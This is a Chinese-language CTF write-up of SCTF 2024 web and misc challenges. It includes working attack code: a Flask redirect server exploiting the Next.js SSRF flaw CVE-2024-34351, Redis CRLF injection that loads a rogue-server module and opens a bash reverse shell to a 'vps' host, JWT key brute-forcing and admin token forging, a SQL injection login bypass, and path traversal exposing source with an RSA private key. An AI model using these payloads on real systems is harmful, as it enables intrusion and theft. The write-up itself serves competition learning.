Web ezjump 参考链接:
【网络安全】「漏洞复现」(五)从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害
Redis主从复制实现RCE
CVE-2024-34351 漏洞复现
首先跑去搜索文章,找到【网络安全】「漏洞复现」(五)从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害 发现和我抓包back to home 界面极其相似从而得知是NextJS SSRF 漏洞 ,也就是CVE-2024-34351 ,由Next.js异步函数createRedirectRenderResult 导致的SSRF。
同时docker-compose.yml给出了内网ip
题目源码中的重定向代码:
SSRF验证:
脚本:exp.py
from flask import Flask, request, Response, redirectapp = Flask(__name__) @app.route('/play' ) def exploit (): if request.method == 'HEAD' : response = Response() response.headers['Content-Type' ] = 'text/x-component' return response elif request.method == 'GET' : ssrfUrl = 'http://172.11.0.3:5000/' return redirect(ssrfUrl) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=1717 , debug=True )
执行:
成功!
存在WAF:
可以字符串逃逸,多余的字符就用来payloload逃逸
然后直接ssrf payload:
POST /success HTTP/1.1 Host: vps:port User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: text/x-component Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Referer: http://192.168.193.141:3000/success Next-Action: b421a453a66309ec62a2d2049d51250ee55f10fd Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22success%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D Content-Type: multipart/form-data; boundary=---------------------------332929687741145380582296740589 Content-Length: 336 Origin: http://vps:port Connection: close Priority: u=0 -----------------------------332929687741145380582296740589 Content-Disposition: form-data; name="1_$ACTION_ID_b421a453a66309ec62a2d2049d51250ee55f10fd" -----------------------------332929687741145380582296740589 Content-Disposition: form-data; name="0" ["$K1"] -----------------------------332929687741145380582296740589--
最后就是主从复制RCE,要用到的工具是redis-rogue-server
vps界面一:工具命令:
python3 redis-rogue-server.py --server-only --lhost vps --lport 监听的port
主从同步能够看到回显,所以会一直同步
vps界面二:执行脚本
python3 exp2.py
from flask import Flask, request, Response, redirect from urllib.parse import quote app = Flask(__name__) @app.route('/play') def exploit(): # CORS preflight check if request.method == 'HEAD': response = Response() response.headers['Content-Type'] = 'text/x-component' return response # after CORS preflight check elif request.method == 'GET': payload="\r\n$3\r\npun\r\n"#闭合set命令 #按照下面的命令逐一来 payload+="config set dir /tmp\r\n" # payload+="config set dbfilename exp.so\r\n" # payload+="slaveof vps 恶意redis的port也就是工具中的port\r\n" # payload+="module load /tmp/exp.so" payload+="system.exec 'bash -c \"bash -i >& /dev/tcp/vps/反弹shell的port 0>&1\"'\r\n" exp="admin"*len(payload)+payload ssrfUrl = f'http://172.11.0.3:5000/login?username={quote(exp)}&&password=1' return redirect(ssrfUrl) if __name__ == '__main__': app.run(host='0.0.0.0', port=1717, debug=True)
bp返回数据:
vps界面三:改脚本
vps界面四:nc监听
命令:nc -lvp 监听的端口
最后成功连接redis,拿到flag
ezjump 根据提示:ulimit -n =2048 cat /etc/timezone : UTC
注册脚本:
import concurrent.futuresimport jsonimport base64import jwtimport requestsimport timeurl=" http://1.95.87.193:23710" def register (username,password ): data={"username" :username,"password" :password} res=requests.post(url+'/register' ,json=data) if res.text=="OK" : print ("注册成功" ) return True else : print (str (res.status_code)+"注册失败" +res.text) return False def login (username,password ): data={"username" :username,"password" :password} res=requests.post(url+'/login' ,json=data) if res.status_code==200 : print ("登陆成功" ) return res.headers['Set-Cookie' ][6 :] else : print (str (res.status_code)+"登录失败" +res.text) return False def check (token ): import json import base64 import time import jwt try : infor = json.loads(base64.b64decode(token).decode()) print (infor["secret" ]) secret = infor["secret" ] secret_key = int (str (time.time())[0 :10 ]) print (secret_key) for i in range (secret_key - 300 , secret_key + 300 ): try : print (i) key = str (i) data = jwt.decode(secret, key, algorithms=['HS256' ]) if data: print ("成功验证: " , data) print ("key: " , secret_key) return True except jwt.ExpiredSignatureError: print ("Token已过期" ) except jwt.InvalidTokenError: print ("无效的Token" ) except Exception as e: print ("解码失败:" , e) return False except Exception as e: print (e) return False def register_and_login (i ): a = 'userm' + str (i) if register(a, a): token = login(a, a) if token: return a,a,token return None def run_concurrent_tasks (): for i in range (0 ,2080 ): print (i) result=register_and_login(i) if (i>=2028 ): check(result[2 ]); if __name__ == '__main__' : run_concurrent_tasks()
生成token脚本,输入我们的key,账号密码都是userm2079
import jsonimport hashlibimport base64import jwtfrom app import * from User import * def generateToken (user) : secret = {"name" : user, "is_admin" : "1" } verify_c = jwt.encode (secret, secret_key, algorithm='HS256' ) infor = {"name" : user, "secret" : verify_c} token = base64. b64encode (json.dumps (infor).encode ()).decode () print (infor) print (token) secret_key = "1727882325" generateToken ('userm2079' )
然后就是删除用户的脚本,不然卡死,登录不了userm2079
成功登录
最后就是生成flask内存马脚本
参考链接:
SCTF 2024 By W&M - W&M Team (wm-team.cn)
或者直接用战队wp的内存马直接发包,链接:SCTF 2024 Writeup
SycServer2.0 f12
参考链接SCTF 2024 writeup by Arr3stY0u
控制台输入
wafsql = function (str ){ console .log (str)return str}
改掉waf,然后登录:账号admin
密码'or 1=1#
成功登录
robots.txt得到/ExP0rtApi?v=static&f=1.jpeg
然后目录穿越:http://1.95.87.154:39435/ExP0rtApi?v=static&f=..././..././..././..././..././..././/app/app.js
然后使用gzip解码,得到
const express = require ('express' );const fs = require ('fs' );var nodeRsa = require ('node-rsa' );const bodyParser = require ('body-parser' );const jwt = require ('jsonwebtoken' );const crypto = require ('crypto' );const SECRET_KEY = crypto.randomBytes (16 ).toString ('hex' );const path = require ('path' );const zlib = require ('zlib' );const mysql = require ('mysql' )const handle = require ('./handle' );const cp = require ('child_process' );const cookieParser = require ('cookie-parser' );const con = mysql.createConnection ({ host : 'localhost' , user : 'ctf' , password : 'ctf123123' , port : '3306' , database : 'sctf' }) con.connect ((err ) => { if (err) { console .error ('Error connecting to MySQL:' , err.message ); setTimeout (con.connect (), 2000 ); } else { console .log ('Connected to MySQL' ); } }); const {response} = require ("express" );const req = require ("express/lib/request" );var key = new nodeRsa ({ b : 1024 });key.setOptions ({ encryptionScheme : 'pkcs1' }); var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----` ;var privatePem = `-----BEGIN PRIVATE KEY----- MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27 PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi 6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61 khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT 6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78 dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg xu/vfQ0A1jHRNC7t -----END PRIVATE KEY-----` ;const app = express ();app.use (bodyParser.json ()); app.use (express.urlencoded ({ extended : true })); app.use (express.static (path.join (__dirname, 'static' ))); app.use (cookieParser ()); var Reportcache = {}function verifyAdmin (req, res, next ) { const token = req.cookies ['auth_token' ]; if (!token) { return res.status (403 ).json ({ message : 'No token provided' }); } jwt.verify (token, SECRET_KEY , (err, decoded ) => { if (err) { return res.status (403 ).json ({ message : 'Failed to authenticate token' }); } if (decoded.role !== 'admin' ) { return res.status (403 ).json ({ message : 'Access denied. Admins only.' }); } req.user = decoded; next (); }); } app.get ('/hello' , verifyAdmin ,(req, res )=> { res.send ('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />' ); }); app.get ('/config' , (req, res ) => { res.json ({ publicKey : publicPem, }); }); var decrypt = function (body ) { try { var pem = privatePem; var key = new nodeRsa (pem, { encryptionScheme : 'pkcs1' , b : 1024 }); key.setOptions ({ environment : "browser" }); return key.decrypt (body, 'utf8' ); } catch (e) { console .error ("decrypt error" , e); return false ; } }; app.post ('/login' , (req, res ) => { const encryptedPassword = req.body .password ; const username = req.body .username ; try { passwd = decrypt (encryptedPassword) if (username === 'admin' ) { const sql = `select (select password from user where username = 'admin') = '${passwd} ';` con.query (sql, (err, rows ) => { if (err) throw new Error (err.message ); if (rows[0 ][Object .keys (rows[0 ])]) { const token = jwt.sign ({username, role : username}, SECRET_KEY , {expiresIn : '1h' }); res.cookie ('auth_token' , token, {secure : false }); res.status (200 ).json ({success : true , message : 'Login Successfully' }); } else { res.status (200 ).json ({success : false , message : 'Errow Password!' }); } }); } else { res.status (403 ).json ({success : false , message : 'This Website Only Open for admin' }); } } catch (error) { res.status (500 ).json ({ success : false , message : 'Error decrypting password!' }); } }); app.get ('/ExP0rtApi' , verifyAdmin, (req, res ) => { var rootpath = req.query .v ; var file = req.query .f ; file = file.replace (/\.\.\//g , '' ); rootpath = rootpath.replace (/\.\.\//g , '' ); if (rootpath === '' ){ if (file === '' ){ return res.status (500 ).send ('try to find parameters HaHa' ); } else { rootpath = "static" } } const filePath = path.join (__dirname, rootpath + "/" + file); if (!fs.existsSync (filePath)) { return res.status (404 ).send ('File not found' ); } fs.readFile (filePath, (err, fileData ) => { if (err) { console .error ('Error reading file:' , err); return res.status (500 ).send ('Error reading file' ); } zlib.gzip (fileData, (err, compressedData ) => { if (err) { console .error ('Error compressing file:' , err); return res.status (500 ).send ('Error compressing file' ); } const base64Data = compressedData.toString ('base64' ); res.send (base64Data); }); }); }); app.get ("/report" , verifyAdmin ,(req, res ) => { res.sendFile (__dirname + "/static/report_noway_dirsearch.html" ); }); app.post ("/report" , verifyAdmin ,(req, res ) => { const {user, date, reportmessage} = req.body ; if (Reportcache [user] === undefined ) { Reportcache [user] = {}; } Reportcache [user][date] = reportmessage res.status (200 ).send ("<script>alert('Report Success');window.location.href='/report'</script>" ); }); app.get ('/countreport' , (req, res ) => { let count = 0 ; for (const user in Reportcache ) { count += Object .keys (Reportcache [user]).length ; } res.json ({ count }); }); app.get ("/VanZY_s_T3st" , (req, res ) => { var command = 'whoami' ; const cmd = cp.spawn (command ,[]); cmd.stdout .on ('data' , (data ) => { res.status (200 ).end (data.toString ()); }); }) app.listen (3000 , () => { console .log ('Server running on http://localhost:3000' ); });
ExP0rtApi?v=static&f=//….//….//….//….//….//….//….//app/handle/index.js ExP0rtApi?v=static&f=//….//….//….//….//….//….//….//app/handle/child_process.js
这两个路由还可以得到源码,后面的步骤可以看各战队的wp
Misc FixIt 知识点Aztec Code
html引用给的css文件
<!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Pixel Example</title > <link rel ="stylesheet" href ="style.css" > </head > <body > <div class ="pixel-wrap" > <div class ="pixel" style ="background-color: red;" > </div > <div class ="pixel" style ="background-color: blue;" > </div > </div > </body > </html >
然后网页截图得到code ,网站扫描:https://products.aspose.app/barcode/zh-hans/recognize/aztec , 最好指定是Aztec Code
速来探索SCTF星球隐藏的秘密! 题目描述中有听说SCTF星球的语言只由英文和数字组成哦,所以只用输入字母和数字,当输入不对的就会在下面显示Really?,手动fuzz,密码:HAHAHAy04
后面调教好了,就可以出flag,可以参考战队们的wp
TerraWorld 当时这道题真的…,一直盯着附件中的那些图片,一帧一帧的给弄成动画,发现没用
压缩包密码可以玩游戏找到,用010看wld文件可以发现里面有两个文件,分离文件,脚本:
with open ('2024SCTF.wld' , 'rb' ) as f:data = f.read() data = data.split(b'================================================' ) with open ('2024SCTF_01.wld' , 'wb' ) as f1:f1.write(data[0 ]) with open ('2024SCTF_02.wld' , 'wb' ) as f2:f2.write(data[1 ])
然后去github下载TEdit(https://github.com/TEdit/Terraria-Map-Editor/releases) ,然后用TEdit打开第二个wld文件得到:
赛博厨子xor得到flag,key为0e